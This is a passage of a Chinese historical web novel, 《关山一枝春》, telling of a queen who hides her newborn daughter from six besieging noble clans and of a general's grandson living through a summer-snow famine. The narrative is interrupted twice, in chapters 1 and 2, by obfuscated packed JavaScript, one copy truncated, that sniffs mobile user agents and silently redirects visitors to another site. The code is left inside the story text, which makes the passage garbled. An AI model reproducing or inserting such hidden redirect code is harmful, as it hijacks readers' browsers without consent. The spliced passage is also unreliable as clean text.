《关山一枝春》 1. 皇室 嗣朝二百一十七年，盛夏飞雪的第三个月，谢家军队已经抵达秣陵城下。 三更鼓响，嗣帝坐在昏暗的含华殿，像一座沉默雄浑的大山。油灯灯芯燃得噼啪轻响，光影明明灭灭地晃过他的眉眼，连眼睫也未曾颤过一下。 殿外的寒风卷着飞雪簌簌破窗而响，浓墨的夜色静得只能听见屏障那面，在不停来回的脚步声。 “娘娘您撑住啊，马上就快看到小殿下的头了，痛的话，您就叫出声来吧。” 皇后贺兰妤，这个十岁来朝为质，与嗣帝年少结发，同舟共济了二十载，连觞五个孩子的女人，如今再度历经生死攸关的大劫，却死死咬住绢料，不让自己发出一句痛呼。 “陛下。”内侍监踉跄着扑进殿内，扑倒在膝前，冠帽歪斜，发髻散漫。他颤颤巍巍地从怀中掏出一份边角染了血的帖子，双手呈上。 嗣帝没有说话，眉头紧蹙着伸手接过那份帖子。 展开来，帖子上只有寥寥几个字：请陛下诛妖邪，清君侧，臣等愿为先锋。 多么轻巧的几个字，寻常的仿若只是宴请宾客吃饭。 嗣朝百年基业，江左六姓世家占了半本史书。 此刻谢家军队从江都启程兵临城下。陆氏没来，但户部的堂官递了辞呈，一递就是七个。顾氏从曲越山以南运来的粮食停在城外三十里，不进城门。 崔氏的人在后宫传出一句话：皇后娘娘的寝宫，今夜不必留人值夜了。独这一点，嗣帝没做出任何回应。 王氏最安静，一个时辰前只修了一封书信进宫，信封上写着“陛下亲启”。 嗣帝拆开，里面是一页空白，空白的最下方，盖着王氏的族印。 送信来的人只漠然留下一句：“十三皇子作为嫡子，自幼离宫在太京山独自修习未免形单影只。王丞相年迈，有意告老后，将爱孙一同送去太京书院陪伴十三皇子，还望圣上恩典。” 六支箭矢凌空齐发，每一支都让皇帝自己选。谢家六姓之首，私兵三千，水师精锐；陆家掌财，商通南北，钱能通神；顾家掌地，良田万顷，佃户十万；沈家掌言，清贵门风，朝堂喉舌；崔家掌婚，世代联姻，盘根错节；王家掌史，修史注经，定义正统。 而谢家递来的这封帖子，意思不言而喻。 嗣帝起身，听见旁边传来的动静依旧只有急促来回的脚步声，一盆盆的血水在往外端，他忽地扯开嘴角笑了。 朝中众臣，有一半是六姓的人，有一半是怕六姓的人。 而他什么都没有，徒有这连妻儿都护不住的帝王虚名。嗣帝低低地笑了声，笑意底下满是无尽苍凉，随即缄默了下来，偏头隔着屏风遥遥望去。寝殿内人影稀疏，灯火昏暗。 他喉间微颤，恍若喃喃泣语：“太祖爷……您这是，误了朕一生啊……” 跪在面前的内侍监胆寒地抬起头，心底倏然一沉，莫名打了个突。 少顷，嗣帝缓缓回过头，压低声音道：“他们想要……朕给他们一个灾星。” 嗣朝地大物博，盘根江左秣陵，直辖统领江都。自打祖先白太祖没有逐鹿血战地，从前朝闵楚国幼主手里接手了基业，挥师南渡定都，迄今已有二百一十多年的历史。 没有代价的功勋，意味着闵楚的整套官僚体系、军事建制、地方豪强，几乎原封不动地保留了下来，所以白太祖立国时，为了稳定民心曾下过这样一道诏令：‘官不失其位，将不失其兵，民不失其业’。 这种本质的具象化在于，每年吏部铨选，淮扬一带最抢手的官职，不是秣陵的清贵衙门，而是江左三郡的税官，只因为太祖说过“不失其业”。 这四个字现今仍旧被江左世家裱在祠堂里。 而这六姓的族谱可以往前追到闵楚，甚至闵楚的前前朝。只因太祖接手基业的时候，他们是最早递降表的，也是最早把女儿送进宫的。百年下来，六姓的女儿做了三任皇后、两位太后。 而现在的皇后，偏偏不姓那六个姓。 辰时，曙光刚刚冒头之际，寝殿内唯一的一名接生女医，和一名宫女终于长舒了一口气，皇后终于平安生产。 自打嗣帝一走，殿里仅有的两名嬷嬷，便被刘嫔借着小皇子身体不适为由，尽数唤走了。众人都心里透亮，崔贵妃与刘嫔素来亲近，这般算计究竟是谁在背后授意，人人心知肚明，却无一人敢多言半句。 女医抱着襁褓中尚在孱弱的婴儿，走近气若游丝的嗣后身前，喜极而泣：“娘娘，是位公主，太好了。” 嗣后听见声音，缓缓睁开眼，话音含糊地呢喃：“……女儿？” 一侧的小宫女连连点头，轻声应道：“是位小公主。”她眼下挂着乌黑，倦意掩不住，可一双眸子却亮得灵动，“我就晓得巫师是满口胡言，全是骗人的鬼话。如今娘娘平安诞下小公主，我倒要看看他如何收场。往后，再也没人敢拿什么灾星的妄言，污蔑咱们小主子与娘娘半分。” 嗣后听了，嘴角忽地扯出一抹极淡的笑意：“……灾星？” 她强撑着一口气靠在床头，接过襁褓，缓缓地用额头贴近孩子的脸颊，软乎乎地带着温热。但孩子似乎是嫌弃她的体温太凉了，突然小脸一皱，微弱地哭了一声。 嗣后顿时就慌了神，连忙抬手紧紧捂住怀中婴儿不住蠕动的小嘴，生怕她发出半分啼哭，神色焦灼。 “兰蘅，快把这孩子带走！”她冲女医说道。 女医蹙眉不解：“这……” 只见嗣后一手捂着孩子的嘴，一手轻摇着将她安抚，以微弱的声音缓缓解释：“不能让他们知道她活着。” 女医犹豫了一下，还是问出口：“可她是公主。六姓忌惮的是皇子，生的是女儿，是不是就……” 嗣后轻轻摇了摇头，那动作耗尽了她的气力，她歇了一息，才细声地说了一句：“他们要的不是皇子。” 窗外微亮的天光透进窗户，能看清她脸色惨白得没有一丝血色。 “是要我腹中孩子死。皇子得死，公主也要死，只要不姓他们那六个姓，就活不了。” 女医哑然，面色一僵。 嗣后看着屋内光线越来越亮堂，而怀中婴孩在安抚下已无声的安静了下来。她松开手，低下头，用柔软的双唇紧紧贴上孩子的额头。 刚出生的婴儿双目紧闭，眼皮沉沉黏合，半只眼睛都睁不开。浑身皮肉皱巴巴的一团绯红色，瞧着像只脆弱的小耗子，眉眼轮廓尚且模糊朦胧，连真切模样都难以辨出。 她忽然微笑着说：“天灾没来之前，百里毅说要为孩子起名为宸儿，宸是北极星和瓖儿一样，是尊贵的意思……”嗣后顿了顿，眼睫低垂了下来，“她本该是这天底下最尊贵的公主。” 女医眼眶泛然酸涩：“……娘娘。” 嗣后缓缓抬眸，瞥见她眼角垂泪，当即抬起指尖温柔拭去她颊边滑落的泪痕。明明指尖轻颤得厉害，话音却始终温柔：“怎么还爱哭了？文掌院可不喜欢小徒弟哭哭啼啼的。” “兰蘅，帮我把这孩子带走吧，越远越好。”嗣后小心翼翼地将襁褓妥帖地放回女医怀中，视线落在那张熟睡的小脸上，缱绻地凝了片刻。 下一瞬，她慢慢抬起头，气息微弱，胸口浅浅起伏。一字一顿，说得极费力：“禺掌柜的车在宫门外。密道你知晓，趁此时机，出了城往北走，只管赶路，莫要停留。给孩子取个寻常人家的名字，让她像野草一样地活……你答应我好吗？”她眼神定定地望着人，目光殷切，有的只是一个母亲对孩子最后的尽职。 小宫女勺儿站在一边，单薄的肩头控制不住地微微抽颤。下一刻，慌忙抬手死死捂住嘴唇，泪珠断了线似的滚落。 女医没有迟疑，抱着襁褓便跪下，眼泛泪光：“娘娘，您保重——” 嗣后不敢再看，头偏至一侧，咬着下唇道：“走吧。” 不多时，等听见密道的门关上，脚步声渐次远去，再也杳不可闻。嗣后才疲惫地躺下身，视线怔然望着眼前绣有北黎纹样的金红帘帐。迷迷糊糊中，耳畔仿佛听见了女儿的哭声，很轻很轻，就一声。 像是眷恋，像是不舍。 她日夜期盼的孩子，怀胎十月苦等的孩子，竟与她只历经了短短一刻钟的母女情缘，多么可悲。 “勺儿，再忍一忍……”嗣后声线微弱地开口，“巳时，你就可以出去了。” 宫女听见此话，咚一声跪下，眼泪波涛汹涌，哽咽着道：“娘娘，我知道该怎么做。” 话音未落，她身形一顿，屈身跪伏在地，嘶声唤道：“娘娘！您再撑一撑，很快便能见到小殿下了——” 她声音刻意扬得响亮，分明是要让外面的人听得真切。 嗣后眼神涣散，闻声指尖泛然一紧。 撑一撑…… 旧忆蓦然涌上心弦，她忽地记起那年从北黎来江左，母妃送她到城门口。母妃未曾落泪，只牢牢攥着她的手，一字一句道：“公主，我北黎的女子，绝不跪着活。” 母妃未曾说过“撑一撑”，可松开女儿手的那一刻，指节泛着青白。 那年贺兰妤十岁，不懂其中深意，现在她终于懂了。 母妃送走女儿的时候，也在撑着。撑到她活下去，撑到她成亲、生子、又接连丧子，撑到每一次江左传来的音讯—— 撑到母妃再也撑不动的那一天。当日一别，原是此生最后一面。 嗣后缓缓闭上了眼，两行清泪无声滑落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549431|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 母亲……我做到了。 寒风如刀子般刮过皮肤，隐隐作痛。 百里毅身披灰色大氅，头戴十二旒冕冠，立于城楼之上，目光一瞬不瞬地凝着城下黑压压的人马，六姓世家的势力，竟如此庞大。 领兵在最前头的是谢侯爷家的小儿子谢英，他裹着厚厚的黑色戎装，像一只蓄势待发的寒鸦。昂首骑在高头大马上，左手单拎一把长枪，右掌心捂着一个手炉，眉头拧得像根麻花。 “这个手炉凉了，换一个。”下属早已冻得面色惨白，伸手去接谢英递来的手炉，指尖僵得不听使唤，竟失手将炉具摔落在地，“哐当”一声，炭灰四溅。谢英当即一脚踹出，下属闷哼一声，整个人被踉跄着踹飞出数米，重重滚落在地。 顿时，戏谑声此起彼伏。 百里毅视线一转，目光淡然落在谢英身上。他记得这谢英小时候是个胖子，很是不讨人喜欢。肥头大耳，乖戾嚣张，他打第一眼看见，就不喜欢。 果然长大了一样的讨厌。 百里毅没有情绪的开口：“天凉刺骨，你这一脚踹过去，他会有内伤。” 谢英闻言，仰起头看向他，笑着说：“嗣帝陛下，您这都自身难保了，还是多关心关心自己吧。”话锋一转，他又说，“一个马夫您都心疼？您要真心疼人，就烦请皇后娘娘动作快点，不要枉费我们一堆人，在这冰天雪地里苦等她一夜。” 百里毅面色骤然沉下，再未发一言。片刻之后，侍卫疾步趋前，躬身在他耳畔低声禀报。 百里毅听罢眉心微蹙，只一瞬，便又重归死寂般的沉默。 侍卫转身离去。不多时，一声呼唤自下而上响起：“陛下……” 百里毅偏头，内侍监抱着一个明黄色的龙纹襁褓候在阶下，悲怆着扬声大喊：“陛下！娘娘……血崩，薨了！但……但小殿下平安，是个皇子！” 闻言，百里毅瞳孔骤然一缩，身形僵住。 城楼之下众人面面相觑。 百里毅目光怔怔落在那方绣着龙纹的襁褓上，忽见一只小手从襁褓缝隙里伸了出来，细嫩得令人心头发紧。内侍监慌忙地将那只小手塞回襁褓，又仔细裹紧，不敢露出半分痕迹。 百里毅缓缓地走下楼，伸手接过那个婴孩。那个皱红的婴儿正微弱啼哭，小拳头无意识地攥着。他下意识伸出手，指尖触到那温热带着柔软的脸颊，孩子竟奇异地停止了哭泣，用尚未聚焦的眼睛望着他。 他不知道这是谁家的孩子，他不敢问，两柄金铤。 百里毅没再敢看第二眼，用绣着龙纹的襁褓将孩子重重裹紧，隔绝了那点温度，转身向着城楼上走去。 每一步都像踩在刀尖，风雪扑打在脸上。 到了城垛边，城楼下站满了人。百姓、六姓的兵、朝臣，几千双眼睛见证着这历史性的一幕。 百里毅缓缓抬手，把襁褓举了起来。 婴儿在风雪中哇哇大哭。 他只听见底下王丞相的声音传来：“陛下圣明。” 他没有说话。 思绪无端飘远。百里毅忽而想起皇后入宫那一年，他们都还只是半大孩子。皇后一身湖蓝异地装束，翻领窄袖，腰束宝石玉带，不怯不懦地静静立在满堂娇柔的世家女之间，像一株迎风而立的胡杨，耀眼得让人忘不掉。 他从十五岁起，只喜欢过这一个人。 现在，他要把他们的孩子送走，把别人的儿子扔下去。 百里毅缓缓闭上了眼，松开了手。明黄的襁褓自掌心滑落，在漫天雪白里刺眼的像一道伤口。 他没有听到落地的声音，风雪声太大了。 良久，他望向城楼之下的众人，一字一顿，声如裂石：“你们要的，朕给了！” “朕的皇后薨了。” 他话音一滞，眼眶泛湿。 “朕的皇嗣……也随母去了！” 大雪纷飞，天地间一片惨白，望不见前路，找不到退路。 这位昏庸无能的君王缓缓转身，一步一步走向身后那座被积雪覆盖，如同巨大棺椁的宫城。 耳边响起的是年少稚嫩的回音。 “太傅，为什么六姓的人从来不向朕下跪？” 太傅沉默了很久，最终沉沉开口： “因为他们跪的，是百里家这个姓氏，不是陛下这个人。” 与此同时，千里之外。 一辆马车正在调转方向，朝着与江南相悖的方向疾速驶离。 车厢中的少女轻轻晃动着臂弯，怀中的婴儿睡得安稳，一无所知。 没有人知道这个孩子会去向哪里。就像没有人知道，十二年后，她会在中元节的上游，遇见那半块的长命锁。 2. 焉家 章和二十六年，朝廷决意推行改土归流，废除西南世袭土官，改派朝廷流官管辖。此事在六姓世家和西南土司间已拉锯多年。 西南向来是土司世袭之地，朝廷政令难行。土司对治下横征暴敛，却仅向朝廷上缴象征性贡赋。六姓更是看重西南的盐井、铜矿、茶山和商路。 盘踞南中数百年的安氏，是西南最大土司势力，世代承袭土官，朝廷从不干涉内政。传至安戈烈时，改土归流彻底激化矛盾。朝廷派驻的流官接管南中军政后，纵容手下圈占民田、抢夺盐井，激起各部族极大不满。 安戈烈趁机起兵，联合三十余部落，攻陷昧城斩杀流官，随即挥师北上，连破数城，兵锋直逼江都屏障——邵伯。 消息传至秣陵时，满朝哗然。虽说国朝都城在江左，但江都乃嗣朝族系发源地，世家大族的根系都扎根在此处。再者西南地形险峻，山高谷深、瘴气弥漫，道路狭窄难运辎重，朝廷大军极易因水土不服、粮草不济不战自溃，叛军只需死守险要便可稳胜。 朝中良将众多，可唯有五十九岁的焉若归能平定西南。他年轻曾驻守南中七年，熟知当地地形与瘴气规律，是南中各部最忌惮的将领。但世家六姓不愿起用他，怕其再立军功权柄过重，便举荐曾在谢家水师中立过功的将领，谢挟领兵。 这位谢挟将军率三万大军南下江都，短短三月便全军覆没，本人首级更是被悬于邵伯城头。六姓自知拿蚊子轰了大炮，便紧紧地闭上了嘴。 最终焉若归领旨出征，仅带两万兵士翻越三座雪山，绕至叛军后方突袭，连破七寨、火烧安戈烈粮仓，切断后路。致使安戈烈仓促回援，与其正面交锋。 那一仗打了一天一夜，安戈烈部队据守最后一道山隘，垒石为墙，死战不退。焉若归三次冲锋都没有打下来，第四次他亲自带队。年近六十的老将，提刀走在最前面，眼神里浸出的雪光坚毅透亮。 最终安戈烈被生擒，三十三部叛军被逐一剿灭。此役破敌三十余部，俘获两万余人，南中之乱彻底平定。 一片沉静中，尚在年幼的小孩，置双膝跪于祠堂中央的蒲团上，目光静静凝视着正中央的那块牌位。 那是他的祖父，靖安伯——焉若归。 两年前的春天，焉若归老将军因平定南中有功，被当今圣上召进宫下旨赐了靖安伯，可回来后就因为长年征战、积劳成疾，一病不起。 临终前的夜里，这位老将军将爱孙叫到床前，将一柄陪伴了自己戎马一生的长刀，郑重地亲手交接到这个孩子的手中。 他用苍老沙哑的嗓音叮嘱：“溪儿，你的父亲不是拿刀的人，这把刀就交给你了，家族的荣光以后要靠你发扬光大。拿起它，去走属于你的道路。” 尚不满五岁的孩子，不知道这句话是什么意思，只知道刀好重，重得他眉头拧成了麻花，祖父的皮肤好苍老、憔悴。当祖父用裹满茧子的手指轻轻拂过玄墨的刀鞘时，浑浊的眼球，才依依不舍地透出一点微光。 所幸，小孩记着父亲读文章时常念的一段话，用稚嫩的嗓音照猫画虎，回道：“保家卫国！溪儿以后也要做最厉害的人，保家卫国！” 靖安伯听到这话，果然笑了。随后，他安详地闭上了眼，在家人的注视下静然离去。那日窗外院中的最后一片叶子落了，而今又是一年春天到了。 小孩沉默着起身，走近牌位前点燃了一炷香，口中喃喃地道：“祖父，答应过你的，我一定会做到的。” 刀锋掠空而过，带起呼呼风响。 小小少年握刀而立，纵身劈落，身姿挺拔利落，腾挪转跃间稍显稚嫩，刀锋破空之声却清脆，已然有了几分武者气象。 他用的不是祖父那柄玄铁宝刀，那柄他还举不动。是亲卫营一个老卒给他削的木刀，长短刚好，刀柄上甚至精细地刻了一个“溪”字。 从那以后，他每天都要早起，在院子里练上一个时辰。 两年里，家里变了很多，从前祖父在家时，总会有很多长辈上门来说说笑笑，渐渐地那些人也不再来了。朝堂给的俸禄被减了大半，亲卫也四散了大半。只有那个送刀的老卒，在回乡前特意来了趟府中，亲手给了小孩一柄自己雕的木刀。 男人拍了拍小孩的肩膀，殷殷希冀道，希望他好好练刀，继承祖父的衣钵。然后又说了很多晦涩难懂的话，大概意思是指，如果家族里没人有本事来承袭祖父的爵位，他们就很难再领到朝堂的俸禄了。 小孩知道那是什么意思，他昨日揭开米缸，发现里面爬了只死老鼠，然后母亲说，他们家这两个月，只能啃干饼了。 “连溪。”母亲的声音从身后响起。 小孩闻声立刻停下了手上的动作，随手将木刀往地上一扔，快步走了过去接过母亲手里端着的碗。 他一面端着碗慢慢悠悠地往前，一面说道：“娘，下次我来做饭吧，您身子不方便。” 母亲姚淑兰笑着摸了摸已经半隆起的腹部，道：“没那么娇气，再说了你有灶台高吗？” “等我再长两年，就有灶台高了。”小孩笑，“以后我会承担家里的大小事务，我还会继承祖父的爵位，当威名赫赫的大将军。” “你啊，”姚淑兰伸出手捏了捏儿子尚在婴儿肥的脸颊，调侃，“就你这奶团子的模样，还当大将军，别把人家先可爱死了。” 小孩一听这话就不满意了，捂着脸解释：“娘别笑我！等我练好了刀法，上阵杀敌，肯定威风凛凛的，到时候谁也不敢说我奶气！” 姚淑兰听了这话，眉头轻轻舒展开来，没再说什么，只温声叮嘱：“你爹马上就从私塾回来了，快去洗洗手，准备开饭。” 小孩乖乖点头，转身就往长廊跑去，刚跑出没几步，一眼瞧见迎面走来的身影，立刻雀跃着扑了过去，脆生生喊着：“爹！” 父亲焉康年伸手稳稳将他高高抱起，笑着转了个圈，朗声应道：“诶，我的好儿子。” 然后抱着他慢慢往院里走，随口问：“今日的功课都温习好了吗？” “早就温习啦，我又认识好多新字了！”小孩仰着小脸，满是得意。 “真棒。等爹收齐了束脩，寒食节就给你买酥蜜寒具吃。” 临河街的长干西巷商旅络绎，人流如织。巷间立着一家老旧木肆，檐下的青布小幌随风而动，墨字规整写着「寒具」二字。旁缀小字：一文三枚。新炸寒具出锅沥尽油，裹上一层蜜糖霜，咬下咔嚓一声脆响，引得十里行人纷纷侧目。 走到石桌旁，姚淑兰早已摆好了碗筷，看着丈夫抱着孩子走来，忍不住笑着调侃：“方才还说着要当大将军，这会儿倒像个小娃娃，还赖在爹怀里不肯下来。” 小孩听了，往父亲怀里缩了缩，偷偷抿着嘴笑。 午饭就摆在院中的石桌上，两碟清炒野菜，一人一碗粳米粥。头顶的桃花被微风一吹，纷纷扬扬飘落，铺了一地粉嫩的花瓣。 连溪握着筷子，忽然歪头开口：“娘，等弟弟出生，名字让我来取好不好？” 姚淑兰闻言微微一怔，笑着反问：“你怎么就笃定是弟弟呀？说不定是个可爱的妹妹呢。” 连溪小嘴轻轻一撅，一脸笃定地傲娇回道：“我昨晚做梦梦到啦，就是弟弟！他还说要我教他练刀，长大了跟我一起当大将军，保家卫国。” 焉康年听了忍不住笑出声，放下筷子，饶有兴味地挑眉：“巧了，爹梦到的却是个小闺女，还说让哥哥以后记得，早早给她备上丰厚的嫁妆呢。” 连溪愣了愣，一脸认真地反驳：“还是弟弟好！我能带着他一起练刀，一起闯天下！” 姚淑兰无奈又宠溺地笑着，伸手轻轻点了点他的额头：“你这孩子，要真的是妹妹，难道你还能把她塞回去不成？” 连溪一听这话，连忙放下筷子，伸出小手，轻轻覆在母亲的肚子上，小声又认真地念叨：“小毛毛，你一定是小男生哦，要是女孩子的话，我才不给你准备嫁妆呢，而且女孩子一点都不威风！” 小毛毛？夫妇二人看着儿子这般稚气又天真的模样，无奈相视一笑。 秣陵城外的秀水马场依山傍水，绿草如茵。 小孩兴奋地骑在一匹红色的小马驹上，由父亲在前头牵着缰绳。 看着天边金灿灿的朗日，他忽然好奇地问：“爹，你为什么不想当将军，也不想考取功名？” 父亲顿了顿，忽然说：“溪儿，其实每个人终其一生都有一条自己想走的道路，这条路或是精彩，或是平庸。就譬如你祖父选的是守土护国，沙场就是他的道路。那你爹我呢，我想要的就很简单，我只要你和小毛毛出生后健健康康的，我们一家平安喜乐，我就知足了。” 小孩似懂非懂，可还是坚定地点了点头：“那我懂了，我想要的就是成为威风凛凛的大将军！” 父亲低低地笑了笑：“你不必急着这会儿回答，等你长大了，自然就会知道，想走什么样的路。” 马蹄踏过碧绿的浅草地，微风迎面吹过来，带来阳光的青草香，一切都是那么的柔和、平静。 霎时一阵风吹过，小孩不住地打了个喷嚏，搂着身子颤了颤：“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549432|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …好冷。”感觉到什么东西虚虚地在空中飘了下来，他下意识地伸出掌心去接。 待看清掌心的东西，他瞳孔微微一缩：“是雪……” 细雪落下来的速度很快，不出一夜，整个秣陵城已经被一层厚厚的积雪覆盖，整个天地宛若一张纯白的巨型毛毯。 就连住在城东的老者，说自己活了快八十岁，都没见过这种奇景——盛夏飞雪，天降不祥。 果不其然，这场雪自从下起来就没有过停的趋势，不止秣陵，听说淮扬一带都没能幸免。最严重的隶属江都，井水河流结冻成冰，水运封路，湿骨如髓。 夏日飞雪的第一个月，秣陵的米价涨到了每日三两银子。 连溪穿着深青色袄衣戴着虎头帽，跟着父亲站在米店门口，父亲手中只攥着一小块碎银子。 天气苦寒，没有孩子愿意再去私塾上学，家中的米缸已经见底了一半。 谁知，店家看都没看，一句话：“只换不卖。” 用银子买不到米，要用东西换。首饰换米，绸缎换米，祖上传下来的字画换米。 焉若归书房里的字画，姚淑兰的陪嫁首饰，最后是靖安伯的舆图——那张画着北境防线的羊皮舆图，被焉康年卷起来夹在腋下出了门。 连溪蹲在院子里用小杵子凿井水里的冰块，转眼看着父亲回来的时候，手里拎着半袋米，他把那半袋米交给母亲。 母亲接过来时手抖了一下，袋子很轻，轻得不像装过祖父的舆图。她没有说话，挺着快足月，已经高高隆起的小腹，拎着米袋转身进了灶房。 父亲站在院子里，站了很久，影子被雪地映得很短，太阳被云遮着，人的影子都是灰的。 城北的粥棚是朝廷设的。顾家承办，陆家出银，王家题的字——“施粥济民”。棚子搭在国子监外面的空地上，每日午时开棚，每人一碗，粥稀得能照见人影。 连溪跟着母亲去排过一次队，队伍从粥棚门口一直排到了北城门拐角，排了半个时辰，前面忽然吵起来了。 只见一个女人跪在地上抱着孩子的尸首哭，孩子大约三四岁，脸是青灰色的，不知道是冻的还是饿的。女人哭着去扒粥棚的门槛，被顾家的家丁拖开了。家丁拖她的时候，她怀里的孩子掉在地上，滚了半圈，脸朝上。雪花落在脸上，没有融化。 连溪看见那张脸比自己小一点，像个瓷娃娃，仿若轻轻一击，就能碎开。 下一瞬，感受到什么，他抬头瞧，母亲的脸寡淡的像天空的颜色，伸手轻轻按在了他肩头，却什么都没有说。 排了一个时辰，连溪端着一碗粥跟在母亲身后走回家，粥在碗里晃，他的影子在粥里晃。 他没忍住，低头喝了一口，米是陈的，有股霉味。他把碗放下来看碗底，碗底上有一粒沙子。他把沙子挑出来扔在雪地上，沙子是黑的，雪是白的。 凛灾的第三个月，流民从曲越山纷纷涌进了秣陵城里。但他们被拦在了城南的栅栏外面，巡城的兵说奉皇帝陛下的命令，流民不得入内城。 栅栏外面的人进不来，就只好坐在雪地里，有人捡树枝搭棚子，树枝是湿的，点不着火。有人在啃树皮，树皮是从路边的槐树上剥下来的，白生生的茬口，像骨头。 某一日，连溪和父亲打马出城去乡下请产婆，途经路边时，瞧见有人在荒村野地里架了口锅。他的锅中咕嘟咕嘟的，不知道在煮什么，味道很是酸涩腥臭，让连溪忍不住抬手捂住了鼻尖。 那人抬头看了他们一眼，忽然两眼放光，却顾不上说话，竟伸手直直地往滚烫的锅中捞去。 “爹……他在吃什么？”下一刻，连溪瞪大了双眼。 父亲没说话，强忍着恶心，抬手便紧紧地捂住了他的眼，以最快的速度驾马朝前狂奔而去。 马疾行的速度比平时快出两倍，连溪没忍住偷偷回头望了一眼身后。那人站在路边，目光正发直地盯着他们离去的方向。而后，他缓缓抬手擦了擦嘴角。 连溪回过头，他记得，刚才在那人的旁边，依稀散落着一堆红红绿绿的小孩衣服…… 那天夜里，连溪问父亲流民为什么不能进城。 父亲坐在祖父的书房里没有点灯，窗外的雪光映进来，把他的侧脸照得很薄，他说，因为城里也没有粮了。 连溪问城北顾家的粮仓不是满的吗？ 父亲没有回答。他沉默了很久，久到连溪以为他不会开口了，然后他说了一句话。 “顾家的粮仓，不是秣陵城的粮仓。” 连溪不懂，但他记住了。 3. 六姓 农历八月十三，连飘了数月的大雪终于得了喘息的一刻。 清晨，侍女缓步走上台阶，忽地被一滴落入后脖颈的水渍，惊得打了个冷颤。她连忙抬头一看，竟然是檐角的冰棱开始化水了。 不待迟疑，她提着裙摆便兴冲冲地小跑进屋内，口中连声喊道：“小侯爷！小侯爷！” 谢英正坐在桌前用早膳，眉宇间凝着一股子似醒非醒的萎靡。听见声音，他不耐烦地咚一声放下碗盏，皱着眉问：“大早上的，吵什么？” 侍女跪在膝前，言语急促地道：“是雪化了……雪化了！天灾马上就要过去了！”她声音里满是藏不住的喜悦，只有一个普通人面对大灾即将过去的憧憬，丝毫没注意到主人顷刻间敛下来的眉头，已经快夹死苍蝇了。 没听见想象中的回应，侍女微微抬起头，余光瞥见立于一侧的侍从使了个眼色，她蓦然抿紧嘴唇，从地上起身，以最快的速度逃离了现场。 “殿下？”侍从五四上前轻唤了一声，“刚才崔氏那边的人捎来口信，说昨日在兰定门看到了嗣后？” 谢英闻言微怔：“嗣后？她出现在兰定门干嘛？她不是胎象不稳吗？” 五四躬身回道：“崔贵妃问过太医署的文掌院，文掌院说是忧思过重，加上之前几次小产伤了身体，所以这一胎很难保得下来。” 谢英眉头微敛，拿起桌上的筷夹，下意识地往桌面轻轻敲了敲，狐疑道：“她莫不是觉着胎象不稳，想着去找个巫医急救吧？” 五四回：“皇后是北黎人。北黎确实有信萨满的传统，兰定门那一带有个最出名的巫医，就是从北黎来的。” 谢英一笑，随手扔开筷夹：“亏她想得出来，要不是前几日进宫瞧见她一副精神萎靡、一蹶不振的样子，我还真以为她是准备临阵脱逃了呢。” 顿了顿，他似乎是想起了什么，偏头看向对方，问：“刚才兰苕说什么？” 五四冷不丁地咽了口唾沫，回说：“兰苕说……雪化了。” 谢英心头一咯噔，旋即长身而起，玄色披风扫过案几，无意间将桌上碗筷连同粥碗一并扫落，顷刻间，碎瓷声刺耳炸开。 他没有在意，大步走到门外去察看，檐下的冰棱果然在滴水。边缘那层薄冰，被云层后面透出的微光映得发亮，一滴一滴往下落，连月不绝的雪一夜间居然停了。 他喉头一紧，实在不知该怎样形容现在的心情。 凛灾要停了，意味着他们筹谋已久的，想用灾星谣言去要挟君主的计策，马上要扑空了。 谢英站在原地愣了一瞬，檐水一滴一滴砸在廊下，他没有慌，转而吩咐五四：“去请陆岩，现在。” 陆岩是他三姐夫。上个月忽然自请辞官回了江都，岳曦宫第二日就换了个北黎来的巫师上任。谢英当时没拦，陆岩的性子他清楚，看着软，骨子里是块沤不烂的硬木头。 一炷香时间，轿子停在了谢府门外。陆岩一身亮红裘衣，踩着小厮的背下了轿，缓步走近，也瞧见了檐下滴水的冰棱。 谢英快步上前问他：“天象如何？” 陆岩：“我是观星的，不是看冰棱的。” 谢英一听没忍住捂着眉头转了个圈，道：“你怎么还是这副样子，你只需要说一句，天象未见异常，不就结了？” 陆岩没接话。 他当然知道谢英要什么。 上个月岳父大人在秣陵请他吃饭。秣陵最好的酒楼，窗对着江。岳父给他斟了一杯酒，说妖星犯紫微的事，他没喝那杯酒。 第二天他递了辞官的折子，理由写的是“旧疾复发”。宫里批了，同日便换了个北黎巫师，接任观象台的钦天监。 他辞官，不是因为怕。是因为他要当爹了。 老大夭折，没活过周岁。老二是个病秧子，药吊子似的养着，三岁了还走不稳。六姓这些年干的缺德事，他离得最近，看得最清。岳父让他观星，观来观去，观的都是人头落地。他不想第三个孩子生下来的时候，他还站在钦天监的观星台上，替六姓编造天象。 谢英转过身来，看着他。 “姐夫。”谢英很少叫他姐夫。 “我不要你编。我只要你一句话——天象未见异常。你说了，今天的事就与你无关。” 陆岩看着檐下滴水的冰棱，水珠一滴一滴落在阶前，他道：“天象是没异常。” 谢英的眉头松了一寸。 陆岩接着说：“因为根本没有天象。夏日飞雪，是冷涡过境，钦天监的旧档里记过。前朝宣和三年六月，江都飞雪三日，宣和七年，飞雪三十五日……”他话音微顿，“江都冻毙者三千七百人。” 六月天，寻常百姓穿着单衣，夜里气温骤降，人在睡梦里冻死，白天被水乡的湿气蚀骨钻心。宣和七年的雪只下了三十五天，冻死三千七百人，这场雪下了三个月，没有人敢统计冻死了多少人，冻死的人太多，甚至连收尸的都冻死了。 陆岩：“都不是天象，是冷涡。” 谢英一听，脸色当即变了：“你跟别人说过？” “没有。” “为什么？” 